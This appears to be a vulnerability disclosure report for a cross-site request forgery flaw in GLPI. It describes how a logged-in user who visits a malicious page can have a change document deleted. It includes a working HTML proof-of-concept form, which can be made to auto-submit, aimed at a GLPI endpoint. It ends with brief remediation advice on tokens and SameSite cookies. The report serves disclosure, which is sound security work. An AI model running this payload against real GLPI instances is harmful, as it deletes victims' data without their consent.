Cross-Site Request Forgery (CSRF) in glpi-project/glpi
Aug 5th 2021
Attacker able to delete any document from Processing change with CSRF attack because there is any CSRF protection for related endpoint.
It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.
In CSRF attacks it is necessary that a user logged into your application just going to a malicious website and after that only with a redirection attacker can delete a Processing change document, this means only with visiting a site a Processing change document will be deleted.
🕵️♂️ Proof of Concept
1.fisrt user already should be logged in In Firefox or safari.
2.Open the PoC.html and click on submit button ( Also it can be auto-submit)
3.Here Processing change document with id
7 from change id equal to
1 will be deleted after clicking on submit button on PoC.html file.
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://nocompany.with7.glpi-network.cloud/front/change.form.php"> <input type="hidden" name="delete_document" value="" /> <input type="hidden" name="documents_id" value="7" /> <input type="hidden" name="changes_id" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Also for real attacks the submit button can be auto-submit.
This vulnerability is capable of delete any Processing change document.
set a token with a length bigger that 16 characters in every requests body then attacker never can guess the url.
Also you cat turn
Strict in cookies.